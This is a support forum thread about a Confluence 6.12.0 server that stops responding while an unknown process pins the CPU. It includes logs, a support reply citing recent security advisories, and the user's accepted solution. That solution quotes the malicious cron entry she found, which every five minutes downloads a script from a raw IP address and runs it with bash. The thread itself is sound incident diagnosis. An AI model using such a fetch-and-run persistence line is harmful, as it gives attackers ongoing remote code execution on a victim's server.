Confluence stopped working

[Birgit Bacher]

Hi, 

I'm really clueless about this.... Today my confluence stopped working. I deployed it on a debian 9 server, there's not much traffic to it. To find out what happened i cleared the log directory and restarted confluence service. But there are no errors in catalina.out, just some strange warnings:

18-Apr-2019 14:31:19.966 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.140 WARNING [main] org.apache.catalina.startup.SetAllPropertiesRule.begin [SetAllPropertiesRule]{Server/Service/Connector} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.359 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.380 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine/Host} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.475 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.506 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:21.099 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8090"]
18-Apr-2019 14:31:21.125 INFO [main] org.apache.tomcat.util.net.NioSelectorPool.getSharedSelector Using a shared selector for servlet write/read
18-Apr-2019 14:31:21.139 INFO [main] org.apache.catalina.startup.Catalina.load Initialization processed in 1358 ms
18-Apr-2019 14:31:21.154 INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Tomcat-Standalone]
18-Apr-2019 14:31:21.154 INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet Engine: Apache Tomcat/9.0.11

 Has anybody a clue what is going on here?

Regards,

Birgit

[Birgit Bacher · Accepted solution]

Figured out i had a bad cronjob with this content:

*/5 * * * * /usr/bin/wget -q -O /tmp/seasame http://51.38.133.232:80 && bash /tmp/seasame

deactivated it, updated confluence and did a malware scan... 

[Birgit Bacher]

Hi Diego,

Confluence stopped working by itself. As it stopped, there were no users logged on. I can't use confluence at all. The webinterface is giving me an 503 error (but this might be up to apache2 which I use to map confluences 8090 port to port 80) - If I shut off the apache service and connect to confluences webinterface through port 8090 it's not reachable)

After restart the confluence process is running and using quite a bit of cpu but almost no memory:

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3750 conflue+ 20 0 404776 10220 0 S 373.1 0.3 10440:14

I do not know exactly which Version i have,  but the build number is the following:

confluence=# select * from CONFVERSION;
confversionid | buildnumber | installdate | versiontag | creationdate | lastmoddate
---------------+-------------+-------------------------+------------+--------------+-------------
524289 | 7901 | 2018-10-06 08:56:16.235 | | |

 There are no logs written to /var/atlassian/application-data/confluence/logs

Also there are no backups written to /var/atlassian/application-data/confluence/backups anymore since the "crash"

I hope this information helps a bit. 

I'm quite a dummy-user and don't know weather my server is infected or not. Could you be so kind to provide some information to me how to check it?

Kind regards,

Birgit

[Birgit Bacher]

ok I just found out something new...

I rebooted the server and first confluence seemed to start up normally (note the java process in top):

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
561 conflue+ 20 0 0 0 0 Z 200.0 0.0 2:59.87 java
952 postgres 20 0 305148 122188 103464 S 0.3 3.0 0:00.63 postgres

but suddenly the processes seems to go wild and the "java" dissappears:

 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1071 conflue+ 20 0 404776 10216 0 S 397.0 0.3 2:19.71

after that it's not possible to kill this process permanently, another similar process appears with an other pid

this is the output of the atlassian-confluence.log

2019-04-20 12:55:36,690 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] contextInitialized Starting Confluence 6.12.0 [build 7901 based on commit hash 04c8b7bf0a5b4889210956b8230224e43d124b25] - synchrony version 2.1.0-master-e100417c
2019-04-20 12:55:41,031 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization started
2019-04-20 12:55:46,839 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] <init> Loading EhCache cache manager
2019-04-20 12:56:03,326 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization completed in 22295 ms
2019-04-20 12:56:04,296 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] earlyStartup Plugin system earlyStartup begun
2019-04-20 12:56:30,133 WARN [ThreadPoolAsyncTaskExecutor::Thread 8] [spring.scanner.util.ProductFilterUtil] detectProduct Couldn't detect product, will use ProductFilter.ALL
2019-04-20 12:56:30,453 WARN [ThreadPoolAsyncTaskExecutor::Thread 1] [spring.scanner.util.ProductFilterUtil] detectProduct Couldn't detect product, will use ProductFilter.ALL
2019-04-20 12:56:37,463 WARN [ThreadPoolAsyncTaskExecutor::Thread 15] [plugins.createcontent.extensions.BlueprintModuleDescriptor] init i18n-name-key is a required attribute of <blueprint> for module: com.adaptavist.confluence.contentFormattingMacros:cfm-blueprint
2019-04-20 12:56:48,377 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] logTime Plugin system earlyStartup ended
2019-04-20 12:56:48,457 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] lateStartup Plugin system lateStartup begun
2019-04-20 12:56:50,562 WARN [AtlassianEvent::CustomizableThreadFactory-1] [persistence.schema.hibernate.HibernateSchemaComparator] lambda$compareTables$0 Schema check for table [EVENTS] encountered an error. Turn debug logging on for stacktrace.
2019-04-20 12:56:50,572 WARN [AtlassianEvent::CustomizableThreadFactory-1] [persistence.schema.hibernate.HibernateSchemaComparator] lambda$compareTables$0 Schema check for table [SECRETS] encountered an error. Turn debug logging on for stacktrace.
2019-04-20 12:56:50,574 WARN [AtlassianEvent::CustomizableThreadFactory-1] [persistence.schema.hibernate.HibernateSchemaComparator] lambda$compareTables$0 Schema check for table [SNAPSHOTS] encountered an error. Turn debug logging on for stacktrace.
2019-04-20 12:56:51,218 WARN [ThreadPoolAsyncTaskExecutor::Thread 12] [client.eventfilter.whitelist.AnalyticsWhitelistModuleDescriptor] readPluginWhitelist No whitelist resource file found at [mediaviewer/lib/analytics-whitelist.json] in plugin [com.atlassian.confluence.plugins.confluence-previews] (bundle entry not found)
2019-04-20 12:56:51,219 WARN [ThreadPoolAsyncTaskExecutor::Thread 12] [client.eventfilter.whitelist.AnalyticsWhitelistModuleDescriptor] readPluginWhitelist No whitelist resource file found at [mediaviewer/lib/analytics-whitelist.json] in plugin [com.atlassian.confluence.plugins.confluence-previews] (null InputStream)
2019-04-20 12:56:52,461 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'contentEntityManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,463 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'likeManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,463 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'commentManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'permissionManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'spaceLogoManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'spaceManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'userAccessor' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:53,160 INFO [ThreadPoolAsyncTaskExecutor::Thread 9] [plugins.synchrony.bootstrap.DefaultSynchronyProxyMonitor] <init> synchrony-proxy healthcheck url: http://127.0.0.1:8090/synchrony-proxy/healthcheck
2019-04-20 12:57:02,858 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] logTime Plugin system lateStartup ended
2019-04-20 12:57:03,279 INFO [lifecycle:thread-1] [plugins.synchrony.bootstrap.DefaultSynchronyProcessManager] startup Starting Synchrony and enabling Collaborative Editing
2019-04-20 12:57:03,288 WARN [lifecycle:thread-16] [expose.jmx.schedule.JmxInstrumentSchedulerImpl] onStart atlassian-instrumentation-jmx expose scheduler started.
2019-04-20 12:57:03,617 WARN [lifecycle:thread-8] [hql.internal.ast.HqlSqlWalker] generatePositionalParameter [DEPRECATION] Encountered positional parameter near line 1, column 93 in HQL: [FROM com.atlassian.confluence.impl.schedule.caesium.SchedulerClusteredJob t WHERE t.jobId = ?]. Positional parameter are considered deprecated; use named parameters or JPA-style positional parameters instead.
2019-04-20 12:59:19,242 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] contextInitialized Starting Confluence 6.12.0 [build 7901 based on commit hash 04c8b7bf0a5b4889210956b8230224e43d124b25] - synchrony version 2.1.0-master-e100417c
2019-04-20 12:59:23,447 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization started
2019-04-20 12:59:28,944 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] <init> Loading EhCache cache manager
2019-04-20 12:59:44,021 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization completed in 20573 ms
2019-04-20 12:59:44,690 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] earlyStartup Plugin system earlyStartup begun

it seems to stop writing suddenly

but obviously there is version 6.12.0 running 

[Diego]

Hello there!

So, Birgit, as I understand your Confluence went down with no changes to it's environment. Is that correct?

Could you check if a few thing for us?

1. Does your instance keep running normally after you restart it?
2. Is CPU usage high in your server?
3. Was some kind of new application installed to your instance?
4. Are you currently able to use your instance as expected?
5. What is your Confluence version?

Recently, we had two CVEs, so it is really worth checking if you were not affected by them:

Confluence Security Advisory - 2019-03-20 | March 2019 Confluence Server Advisory - WebDAV and Widget Connector vulnerabilities

Confluence Security Advisory - 2019-04-17 | Confluence - Path traversal vulnerability - CVE-2019-3398

Since we do not know if you are affected by the CVEs, I think it is adequate to tell you that you could, if needed:

1. Kill malicious processes
2. Clean up your crontab
3. Upgrade Confluence
4. Use a malware scanner to find remaining malware traces

Looking forward to your reply!

[Birgit Bacher]

Hi, 

I accidentially wrote my reply as an answer to my own question. Could you be so kind and look at it?

Kind regards,

Birgit